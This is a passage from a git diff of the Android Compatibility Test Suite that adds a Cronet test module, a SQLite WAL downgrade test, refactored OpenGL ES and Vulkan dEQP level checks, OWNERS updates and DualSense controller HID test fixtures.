+        installPackage(TEST_HW5);
+
+        getUiAutomation().adoptShellPermissionIdentity();
+        try {
+            final PackageInstaller installer = getPackageInstaller();
+            final SessionParams params = new SessionParams(SessionParams.MODE_INHERIT_EXISTING);
+            params.setAppPackageName(TEST_APP_PACKAGE);
+            params.setDontKillApp(true);
+
+            final int sessionId = installer.createSession(params);
+            PackageInstaller.Session session = installer.openSession(sessionId);
+            assertTrue((session.getInstallFlags() & PackageManager.INSTALL_DONT_KILL_APP) != 0);
+
+            writeFileToSession(session, "hw7", TEST_HW7);
+
+            final CompletableFuture<Boolean> result = new CompletableFuture<>();
+            session.commit(new IntentSender((IIntentSender) new IIntentSender.Stub() {
+                @Override
+                public void send(int code, Intent intent, String resolvedType,
+                        IBinder whitelistToken, IIntentReceiver finishedReceiver,
+                        String requiredPermission, Bundle options) throws RemoteException {
+                    boolean dontKillApp =
+                            (session.getInstallFlags() & PackageManager.INSTALL_DONT_KILL_APP) != 0;
+                    result.complete(dontKillApp);
+                }
+            }));
+
+            // We are updating base.apk. Flag to be removed.
+            assertFalse(result.get());
+        } finally {
+            getUiAutomation().dropShellPermissionIdentity();
+        }
+    }
+
+    @Test
     public void testDataLoaderParamsApiV1() throws Exception {
         if (!mStreaming) {
             return;
diff --git a/tests/tests/cronet/Android.bp b/tests/tests/cronet/Android.bp
new file mode 100644
index 0000000..947d5c0
--- /dev/null
+++ b/tests/tests/cronet/Android.bp
@@ -0,0 +1,40 @@
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+
+// TODO: Move this target to cts/tests/tests/net/cronet
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test {
+    name: "CtsCronetTestCases",
+    defaults: ["cts_defaults"],
+
+    // Include both the 32 and 64 bit versions
+    compile_multilib: "both",
+
+    static_libs: [
+        "CronetApiCommonTests",
+        "ctstestrunner-axt",
+    ],
+
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "general-tests",
+        "mts",
+    ],
+
+}
diff --git a/tests/tests/cronet/AndroidManifest.xml b/tests/tests/cronet/AndroidManifest.xml
new file mode 100644
index 0000000..b7ae844
--- /dev/null
+++ b/tests/tests/cronet/AndroidManifest.xml
@@ -0,0 +1,36 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2007 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.cronet.cts" >
+
+    <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
+    <uses-permission android:name="android.permission.INTERNET" />
+
+    <application android:usesCleartextTraffic="true">
+        <uses-library android:name="android.test.runner" />
+        <uses-library android:name="org.chromium.net.cronet" />
+    </application>
+
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+                     android:targetPackage="android.cronet.cts"
+                     android:label="CTS tests of android.cronet">
+        <meta-data android:name="listener"
+            android:value="com.android.cts.runner.CtsTestRunListener" />
+    </instrumentation>
+
+</manifest>
diff --git a/tests/tests/cronet/AndroidTest.xml b/tests/tests/cronet/AndroidTest.xml
new file mode 100644
index 0000000..79c37f7
--- /dev/null
+++ b/tests/tests/cronet/AndroidTest.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2019 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS Cronet test cases">
+    <option name="test-suite-tag" value="cts" />
+    <option name="config-descriptor:metadata" key="component" value="networking" />
+    <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsCronetTestCases.apk" />
+    </target_preparer>
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="package" value="android.cronet.cts" />
+        <option name="runtime-hint" value="10s" />
+    </test>
+</configuration>
\ No newline at end of file
diff --git a/tests/tests/cronet/OWNERS b/tests/tests/cronet/OWNERS
new file mode 100644
index 0000000..9b1555e
--- /dev/null
+++ b/tests/tests/cronet/OWNERS
@@ -0,0 +1,3 @@
+# Bug component: 31808
+set noparent
+include platform/packages/modules/Connectivity:/tests/cts/OWNERS
diff --git a/tests/tests/cronet/TEST_MAPPING b/tests/tests/cronet/TEST_MAPPING
new file mode 100644
index 0000000..b1f3088
--- /dev/null
+++ b/tests/tests/cronet/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsCronetTestCases"
+    }
+  ]
+}
diff --git a/tests/tests/database/src/android/database/sqlite/cts/SQLiteOpenHelperTest.java b/tests/tests/database/src/android/database/sqlite/cts/SQLiteOpenHelperTest.java
index eb51afa..e2346c4 100644
--- a/tests/tests/database/src/android/database/sqlite/cts/SQLiteOpenHelperTest.java
+++ b/tests/tests/database/src/android/database/sqlite/cts/SQLiteOpenHelperTest.java
@@ -28,6 +28,7 @@
 import android.database.sqlite.SQLiteDatabase;
 import android.database.sqlite.SQLiteDatabase.CursorFactory;
 import android.database.sqlite.SQLiteDebug;
+import android.database.sqlite.SQLiteException;
 import android.database.sqlite.SQLiteGlobal;
 import android.database.sqlite.SQLiteOpenHelper;
 import android.database.sqlite.SQLiteQuery;
@@ -289,6 +290,59 @@
         }
     }
 
+    /**
+     * Tests a scenario in WAL mode with multiple connections, when a connection should see schema
+     * changes made from another connection.
+     */
+    public void testWalSchemaChangeVisibilityOnDowngrade() {
+        File dbPath = mContext.getDatabasePath(TEST_DATABASE_NAME);
+        SQLiteDatabase.deleteDatabase(dbPath);
+        SQLiteDatabase db = SQLiteDatabase.openOrCreateDatabase(dbPath, null);
+        db.execSQL("CREATE TABLE test_table (_id INTEGER PRIMARY KEY AUTOINCREMENT"
+                + ", _key INTEGER DEFAULT 1234)");
+        db.execSQL("CREATE TABLE test_table2 (_id INTEGER PRIMARY KEY AUTOINCREMENT)");
+        db.setVersion(2);
+        try (Cursor cursor = db.rawQuery("select * from test_table", null)) {
+            assertEquals(2, cursor.getColumnCount());
+        }
+        try (Cursor cursor = db.rawQuery("select * from test_table2", null)) {
+            assertEquals(1, cursor.getColumnCount());
+        }
+        db.close();
+        mOpenHelper = new MockOpenHelper(mContext, TEST_DATABASE_NAME, null, 1) {
+            {
+                setWriteAheadLoggingEnabled(true);
+            }
+
+            @Override
+            public void onCreate(SQLiteDatabase db) {
+            }
+
+            @Override
+            public void onDowngrade(SQLiteDatabase db, int oldVersion, int newVersion) {
+                if (newVersion == 1) {
+                    // Drop all tables
+                    db.execSQL("DROP TABLE IF EXISTS test_table");
+                    db.execSQL("DROP TABLE IF EXISTS test_table2");
+
+                    // Recreate test_table with one column _id
+                    db.execSQL("CREATE TABLE test_table"
+                            + " (_id INTEGER PRIMARY KEY AUTOINCREMENT)");
+                }
+            }
+        };
+        // Check if the test_table has only one column.
+        try (Cursor cursor = mOpenHelper.getReadableDatabase()
+                .rawQuery("select * from test_table", null)) {
+            assertEquals(1, cursor.getColumnCount());
+        }
+        // Check if the test_table2 has been dropped.
+        try (Cursor cursor = mOpenHelper.getReadableDatabase().rawQuery(
+                "select name from sqlite_master where type='table' and name='test_table2'", null)) {
+            assertEquals(0, cursor.getCount());
+        }
+    }
+
     public void testSetWriteAheadLoggingDisablesCompatibilityWal() {
         // Verify that compatibility WAL is not enabled, if an application explicitly disables WAL
 
diff --git a/tests/tests/deviceconfig/OWNERS b/tests/tests/deviceconfig/OWNERS
index ac6ec2d..8553170 100644
--- a/tests/tests/deviceconfig/OWNERS
+++ b/tests/tests/deviceconfig/OWNERS
@@ -1,4 +1,4 @@
 # Bug component: 326016
-hongyiz@google.com
-shuc@google.com
+fdunlap@google.com
+jiewenlei@google.com
 svetoslavganov@google.com
diff --git a/tests/tests/dpi2/OWNERS b/tests/tests/dpi2/OWNERS
new file mode 100644
index 0000000..bd3840b
--- /dev/null
+++ b/tests/tests/dpi2/OWNERS
@@ -0,0 +1 @@
+include platform/frameworks/base:/OWNERS
diff --git a/tests/tests/dpi2/src/android/dpi2/cts/DefaultManifestAttributesCupcakeTest.java b/tests/tests/dpi2/src/android/dpi2/cts/DefaultManifestAttributesCupcakeTest.java
index abb8d66..1469ffc 100644
--- a/tests/tests/dpi2/src/android/dpi2/cts/DefaultManifestAttributesCupcakeTest.java
+++ b/tests/tests/dpi2/src/android/dpi2/cts/DefaultManifestAttributesCupcakeTest.java
@@ -32,7 +32,7 @@
         return "android.dpi2.cts";
     }
 
-    // This is a sanity test to make sure that we're instrumenting the proper package
+    // This is a software test to make sure that we're instrumenting the proper package
     public void testPackageHasExpectedSdkVersion() {
         assertEquals(3, getAppInfo().minSdkVersion);
     }
diff --git a/tests/tests/dreams/OWNERS b/tests/tests/dreams/OWNERS
index f70efe9..f8c069e 100644
--- a/tests/tests/dreams/OWNERS
+++ b/tests/tests/dreams/OWNERS
@@ -1,3 +1,6 @@
 # Bug component: 345010
+brycelee@google.com
+galinap@google.com
+jjaggi@google.com
 michaelwr@google.com
 santoscordon@google.com
diff --git a/tests/tests/externalservice/Android.bp b/tests/tests/externalservice/Android.bp
index a1960d7..c7f3fa1 100644
--- a/tests/tests/externalservice/Android.bp
+++ b/tests/tests/externalservice/Android.bp
@@ -38,4 +38,8 @@
         "general-tests",
     ],
     sdk_version: "test_current",
+    data: [
+        ":CtsExternalServiceService",
+    ],
+    per_testcase_directory: true,
 }
diff --git a/tests/tests/graphics/src/android/graphics/cts/OpenGlEsDeqpLevelTest.java b/tests/tests/graphics/src/android/graphics/cts/OpenGlEsDeqpLevelTest.java
index de02221..323e32d 100644
--- a/tests/tests/graphics/src/android/graphics/cts/OpenGlEsDeqpLevelTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/OpenGlEsDeqpLevelTest.java
@@ -16,16 +16,16 @@
 
 package android.graphics.cts;
 
-import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
 import static org.junit.Assume.assumeTrue;
 
+import android.content.pm.FeatureInfo;
 import android.content.pm.PackageManager;
 import android.platform.test.annotations.AppModeFull;
-import android.util.Log;
 
-import androidx.test.InstrumentationRegistry;
+import androidx.test.ext.junit.runners.AndroidJUnit4;
 import androidx.test.filters.SmallTest;
-import androidx.test.runner.AndroidJUnit4;
+import androidx.test.platform.app.InstrumentationRegistry;
 
 import com.android.compatibility.common.util.CddTest;
 import com.android.compatibility.common.util.PropertyUtil;
@@ -43,32 +43,38 @@
 @AppModeFull(reason = "Instant apps cannot access ro.board.* system properties")
 public class OpenGlEsDeqpLevelTest {
 
-    private static final String TAG = OpenGlEsDeqpLevelTest.class.getSimpleName();
-    private static final boolean DEBUG = false;
-
     private static final int MINIMUM_OPENGLES_DEQP_LEVEL = 0x07E40301; // Corresponds to 2020-03-01
 
-    private PackageManager mPm;
+    private FeatureInfo mFeatureGlesDeqpLevel = null;
 
     @Before
     public void setup() {
-        mPm = InstrumentationRegistry.getTargetContext().getPackageManager();
+        final PackageManager pm =
+                InstrumentationRegistry.getInstrumentation().getTargetContext().getPackageManager();
+        final FeatureInfo[] features = pm.getSystemAvailableFeatures();
+        if (features != null) {
+            for (FeatureInfo feature : features) {
+                if (PackageManager.FEATURE_OPENGLES_DEQP_LEVEL.equals(feature.name)) {
+                    mFeatureGlesDeqpLevel = feature;
+                }
+            }
+        }
     }
 
     @CddTest(requirement = "7.1.4.1/C-2-3,C-2-4")
     @Test
     public void testOpenGlEsDeqpLevel() {
         assumeTrue(
-                "Test only applies for vendor image with API level >= 31 (Android 12)",
-                PropertyUtil.isVendorApiLevelNewerThan(30));
-        if (DEBUG) {
-            Log.d(TAG, "Checking whether " + PackageManager.FEATURE_OPENGLES_DEQP_LEVEL
-                    + " has an acceptable value");
-        }
-        assertTrue("Feature " + PackageManager.FEATURE_OPENGLES_DEQP_LEVEL + " must be present "
-                + "and have at least version " + MINIMUM_OPENGLES_DEQP_LEVEL,
-                mPm.hasSystemFeature(PackageManager.FEATURE_OPENGLES_DEQP_LEVEL,
-                        MINIMUM_OPENGLES_DEQP_LEVEL));
-    }
+                "Test only applies for API level >= 31 (Android 12)",
+                PropertyUtil.getVsrApiLevel() >= 31);
 
+        if (mFeatureGlesDeqpLevel == null
+                || mFeatureGlesDeqpLevel.version < MINIMUM_OPENGLES_DEQP_LEVEL) {
+            String message = String.format(
+                    "Feature %s must be present and have at least version %d.",
+                    PackageManager.FEATURE_OPENGLES_DEQP_LEVEL, MINIMUM_OPENGLES_DEQP_LEVEL);
+            message += "\nActual feature value: " + mFeatureGlesDeqpLevel;
+            fail(message);
+        }
+    }
 }
diff --git a/tests/tests/graphics/src/android/graphics/cts/SystemPaletteTest.java b/tests/tests/graphics/src/android/graphics/cts/SystemPaletteTest.java
index 5f88705..e5a3ed7 100644
--- a/tests/tests/graphics/src/android/graphics/cts/SystemPaletteTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/SystemPaletteTest.java
@@ -33,7 +33,6 @@
 import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.Assert;
-import org.junit.Ignore;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
@@ -71,7 +70,6 @@
     }
 
     @Test
-    @Ignore
     public void testAllColorsBelongToSameFamily() {
         final Context context = getInstrumentation().getTargetContext();
         List<int[]> allPalettes = Arrays.asList(getAllAccent1Colors(context),
diff --git a/tests/tests/graphics/src/android/graphics/cts/VulkanDeqpLevelTest.java b/tests/tests/graphics/src/android/graphics/cts/VulkanDeqpLevelTest.java
index 277ca80..178a449 100644
--- a/tests/tests/graphics/src/android/graphics/cts/VulkanDeqpLevelTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/VulkanDeqpLevelTest.java
@@ -16,17 +16,16 @@
 
 package android.graphics.cts;
 
-import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
 import static org.junit.Assume.assumeTrue;
 
 import android.content.pm.FeatureInfo;
 import android.content.pm.PackageManager;
 import android.platform.test.annotations.AppModeFull;
-import android.util.Log;
 
-import androidx.test.InstrumentationRegistry;
+import androidx.test.ext.junit.runners.AndroidJUnit4;
 import androidx.test.filters.SmallTest;
-import androidx.test.runner.AndroidJUnit4;
+import androidx.test.platform.app.InstrumentationRegistry;
 
 import com.android.compatibility.common.util.CddTest;
 import com.android.compatibility.common.util.PropertyUtil;
@@ -44,29 +43,26 @@
 @AppModeFull(reason = "Instant apps cannot access ro.board.* system properties")
 public class VulkanDeqpLevelTest {
 
-    private static final String TAG = VulkanDeqpLevelTest.class.getSimpleName();
-    private static final boolean DEBUG = false;
-
     private static final int MINIMUM_VULKAN_DEQP_LEVEL = 0x07E30301; // Corresponds to 2019-03-01
 
     // Require patch version 3 for Vulkan 1.0: It was the first publicly available version,
     // and there was an important bugfix relative to 1.0.2.
     private static final int VULKAN_1_0 = 0x00400003; // 1.0.3
 
-    private PackageManager mPm;
     private FeatureInfo mVulkanHardwareVersion = null;
+    private FeatureInfo mFeatureVulkanDeqpLevel = null;
 
     @Before
     public void setup() {
-        mPm = InstrumentationRegistry.getTargetContext().getPackageManager();
-        FeatureInfo[] features = mPm.getSystemAvailableFeatures();
+        final PackageManager pm =
+                InstrumentationRegistry.getInstrumentation().getTargetContext().getPackageManager();
+        final FeatureInfo[] features = pm.getSystemAvailableFeatures();
         if (features != null) {
             for (FeatureInfo feature : features) {
                 if (PackageManager.FEATURE_VULKAN_HARDWARE_VERSION.equals(feature.name)) {
                     mVulkanHardwareVersion = feature;
-                    if (DEBUG) {
-                        Log.d(TAG, feature.name + "=0x" + Integer.toHexString(feature.version));
-                    }
+                } else if (PackageManager.FEATURE_VULKAN_DEQP_LEVEL.equals(feature.name)) {
+                    mFeatureVulkanDeqpLevel = feature;
                 }
             }
         }
@@ -76,19 +72,20 @@
     @Test
     public void testVulkanDeqpLevel() {
         assumeTrue(
-                "Test only applies for vendor image with API level >= 30 (Android 11)",
-                PropertyUtil.isVendorApiLevelNewerThan(29));
+                "Test only applies for API level >= 30 (Android 11)",
+                PropertyUtil.getVsrApiLevel() >= 30);
+
         assumeTrue(
                 "Test does not apply if Vulkan 1.0 or higher is not supported",
                 mVulkanHardwareVersion != null && mVulkanHardwareVersion.version >= VULKAN_1_0);
-        if (DEBUG) {
-            Log.d(TAG, "Checking whether " + PackageManager.FEATURE_VULKAN_DEQP_LEVEL
-                    + " has an acceptable value");
-        }
-        assertTrue("Feature " + PackageManager.FEATURE_VULKAN_DEQP_LEVEL + " must be present "
-                + "and have at least version " + MINIMUM_VULKAN_DEQP_LEVEL,
-                mPm.hasSystemFeature(PackageManager.FEATURE_VULKAN_DEQP_LEVEL,
-                        MINIMUM_VULKAN_DEQP_LEVEL));
-    }
 
+        if (mFeatureVulkanDeqpLevel == null
+                || mFeatureVulkanDeqpLevel.version < MINIMUM_VULKAN_DEQP_LEVEL) {
+            String message = String.format(
+                    "Feature %s must be present and have at least version %d.",
+                    PackageManager.FEATURE_VULKAN_DEQP_LEVEL, MINIMUM_VULKAN_DEQP_LEVEL);
+            message += "\nActual feature value: " + mFeatureVulkanDeqpLevel;
+            fail(message);
+        }
+    }
 }
diff --git a/tests/tests/gwp-asan/TEST_MAPPING b/tests/tests/gwp-asan/TEST_MAPPING
index 1976d66..9b8b93f 100644
--- a/tests/tests/gwp-asan/TEST_MAPPING
+++ b/tests/tests/gwp-asan/TEST_MAPPING
@@ -3,5 +3,10 @@
     {
       "name": "CtsGwpAsanTestCases"
     }
+  ],
+  "hwasan-postsubmit": [
+    {
+      "name": "CtsGwpAsanTestCases"
+    }
   ]
 }
diff --git a/tests/tests/hardware/Android.bp b/tests/tests/hardware/Android.bp
index 7617806..9d723a4 100644
--- a/tests/tests/hardware/Android.bp
+++ b/tests/tests/hardware/Android.bp
@@ -34,6 +34,7 @@
         "androidx.test.ext.junit",
         "compatibility-device-util-axt",
         "cts-input-lib",
+        "cts-kernelinfo-lib",
         "ctstestrunner-axt",
         "cts-wm-util",
         "mockito-target-minus-junit4",
diff --git a/tests/tests/hardware/OWNERS b/tests/tests/hardware/OWNERS
index bad9733..21b257e 100644
--- a/tests/tests/hardware/OWNERS
+++ b/tests/tests/hardware/OWNERS
@@ -1,7 +1,11 @@
 # Bug component: 533114
 michaelwr@google.com
 
+# For HardwareBuffer & friends
+# Bug component: 1075130
+include platform/frameworks/base:/graphics/java/android/graphics/OWNERS
+
 # Trust that people only touch their own resources.
 per-file *.xml=*
 # Only input tests use JSON so far
-per-file *.json=svv@google.com
+per-file *.json=file:platform/frameworks/base:/INPUT_OWNERS
diff --git a/tests/tests/hardware/jni/Android.bp b/tests/tests/hardware/jni/Android.bp
index f8c2ff3..caf77f2 100644
--- a/tests/tests/hardware/jni/Android.bp
+++ b/tests/tests/hardware/jni/Android.bp
@@ -31,5 +31,5 @@
     ],
     stl: "none",
     sdk_version: "current",
-    clang: true,
+
 }
diff --git a/tests/tests/hardware/res/raw/sony_dualsense_bluetooth_keyeventtests_hid_generic.json b/tests/tests/hardware/res/raw/sony_dualsense_bluetooth_keyeventtests_hid_generic.json
new file mode 100644
index 0000000..a82e87b
--- /dev/null
+++ b/tests/tests/hardware/res/raw/sony_dualsense_bluetooth_keyeventtests_hid_generic.json
@@ -0,0 +1,170 @@
+[
+  {
+    "name": "Press BUTTON_A",
+    "reports": [
+      [0x01, 0x80, 0x83, 0x81, 0x81, 0x28, 0x00, 0x1c, 0x00, 0x00],
+      [0x01, 0x80, 0x83, 0x81, 0x81, 0x08, 0x00, 0x1c, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | GAMEPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_A"},
+      {"action": "UP", "keycode": "BUTTON_A"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_B",
+    "reports": [
+      [0x01, 0x80, 0x83, 0x81, 0x81, 0x48, 0x00, 0x1c, 0x00, 0x00],
+      [0x01, 0x80, 0x83, 0x81, 0x81, 0x08, 0x00, 0x1c, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | GAMEPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_B"},
+      {"action": "UP", "keycode": "BUTTON_B"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_X",
+    "reports": [
+      [0x01, 0x80, 0x83, 0x81, 0x81, 0x18, 0x00, 0x1c, 0x00, 0x00],
+      [0x01, 0x80, 0x83, 0x81, 0x81, 0x08, 0x00, 0x1c, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | GAMEPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_X"},
+      {"action": "UP", "keycode": "BUTTON_X"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_Y",
+    "reports": [
+      [0x01, 0x80, 0x83, 0x81, 0x81, 0x88, 0x00, 0x1c, 0x00, 0x00],
+      [0x01, 0x80, 0x83, 0x81, 0x81, 0x08, 0x00, 0x1c, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | GAMEPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_Y"},
+      {"action": "UP", "keycode": "BUTTON_Y"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_L1",
+    "reports": [
+      [0x01, 0x80, 0x83, 0x81, 0x81, 0x08, 0x01, 0x1c, 0x00, 0x00],
+      [0x01, 0x80, 0x83, 0x81, 0x81, 0x08, 0x00, 0x1c, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | GAMEPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_L1"},
+      {"action": "UP", "keycode": "BUTTON_L1"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_R1",
+    "reports": [
+      [0x01, 0x80, 0x83, 0x81, 0x81, 0x08, 0x02, 0x1c, 0x00, 0x00],
+      [0x01, 0x80, 0x83, 0x81, 0x81, 0x08, 0x00, 0x1c, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | GAMEPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_R1"},
+      {"action": "UP", "keycode": "BUTTON_R1"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_L2",
+    "reports": [
+      [0x01, 0x80, 0x83, 0x81, 0x81, 0x08, 0x04, 0x1c, 0x00, 0x00],
+      [0x01, 0x80, 0x83, 0x81, 0x81, 0x08, 0x00, 0x1c, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | GAMEPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_L2"},
+      {"action": "UP", "keycode": "BUTTON_L2"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_R2",
+    "reports": [
+      [0x01, 0x80, 0x83, 0x81, 0x81, 0x08, 0x08, 0x1c, 0x00, 0x00],
+      [0x01, 0x80, 0x83, 0x81, 0x81, 0x08, 0x00, 0x1c, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | GAMEPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_R2"},
+      {"action": "UP", "keycode": "BUTTON_R2"}
+    ]
+  },
+
+  {
+    "name": "Press left thumb button",
+    "reports": [
+      [0x01, 0x80, 0x83, 0x81, 0x81, 0x08, 0x40, 0x1c, 0x00, 0x00],
+      [0x01, 0x80, 0x83, 0x81, 0x81, 0x08, 0x00, 0x1c, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | GAMEPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_THUMBL"},
+      {"action": "UP", "keycode": "BUTTON_THUMBL"}
+    ]
+  },
+
+  {
+    "name": "Press right thumb button",
+    "reports": [
+      [0x01, 0x80, 0x83, 0x81, 0x81, 0x08, 0x80, 0x1c, 0x00, 0x00],
+      [0x01, 0x80, 0x83, 0x81, 0x81, 0x08, 0x00, 0x1c, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | GAMEPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_THUMBR"},
+      {"action": "UP", "keycode": "BUTTON_THUMBR"}
+    ]
+  },
+
+  {
+    "name": "Press 'share' ('sun rays' on the left of touchpad) button",
+    "reports": [
+      [0x01, 0x80, 0x83, 0x81, 0x81, 0x08, 0x10, 0x1c, 0x00, 0x00],
+      [0x01, 0x80, 0x83, 0x81, 0x81, 0x08, 0x00, 0x1c, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | GAMEPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_SELECT"},
+      {"action": "UP", "keycode": "BUTTON_SELECT"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_OPTIONS (three horizontal bars right of touchpad)",
+    "reports": [
+      [0x01, 0x80, 0x83, 0x81, 0x81, 0x08, 0x20, 0x1c, 0x00, 0x00],
+      [0x01, 0x80, 0x83, 0x81, 0x81, 0x08, 0x00, 0x1c, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | GAMEPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_START"},
+      {"action": "UP", "keycode": "BUTTON_START"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_PS",
+    "reports": [
+      [0x01, 0x80, 0x83, 0x81, 0x81, 0x08, 0x00, 0x35, 0x00, 0x00],
+      [0x01, 0x80, 0x83, 0x81, 0x81, 0x08, 0x00, 0x38, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | GAMEPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_MODE"},
+      {"action": "UP", "keycode": "BUTTON_MODE"}
+    ]
+  }
+]
diff --git a/tests/tests/hardware/res/raw/sony_dualsense_bluetooth_motioneventtests_hid_generic.json b/tests/tests/hardware/res/raw/sony_dualsense_bluetooth_motioneventtests_hid_generic.json
new file mode 100644
index 0000000..1df0e5d
--- /dev/null
+++ b/tests/tests/hardware/res/raw/sony_dualsense_bluetooth_motioneventtests_hid_generic.json
@@ -0,0 +1,213 @@
+[
+  {
+    "name": "Initial check - should not produce any events",
+    "reports": [
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x1c, 0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+    ]
+  },
+
+  {
+    "name": "Press left DPAD key",
+    "reports": [
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x06, 0x00, 0x1c, 0x00, 0x00],
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x1c, 0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_HAT_X": -1}},
+      {"action": "MOVE", "axes": {"AXIS_HAT_X": 0}}
+    ]
+  },
+
+  {
+    "name": "Press right DPAD key",
+    "reports": [
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x02, 0x00, 0x1c, 0x00, 0x00],
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x1c, 0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_HAT_X": 1}},
+      {"action": "MOVE", "axes": {"AXIS_HAT_X": 0}}
+    ]
+  },
+
+  {
+    "name": "Press up DPAD key",
+    "reports": [
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00, 0x1c, 0x00, 0x00],
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x1c, 0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_HAT_Y": -1}},
+      {"action": "MOVE", "axes": {"AXIS_HAT_Y": 0}}
+    ]
+  },
+
+  {
+    "name": "Press down DPAD key",
+    "reports": [
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x04, 0x00, 0x1c, 0x00, 0x00],
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x1c, 0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_HAT_Y": 1}},
+      {"action": "MOVE", "axes": {"AXIS_HAT_Y": 0}}
+    ]
+  },
+
+  {
+    "name": "Left stick - press left",
+    "reports": [
+      [0x01, 0x40, 0x80, 0x80, 0x80, 0x08, 0x00, 0x1c, 0x00, 0x00],
+      [0x01, 0x00, 0x80, 0x80, 0x80, 0x08, 0x00, 0x1c, 0x00, 0x00],
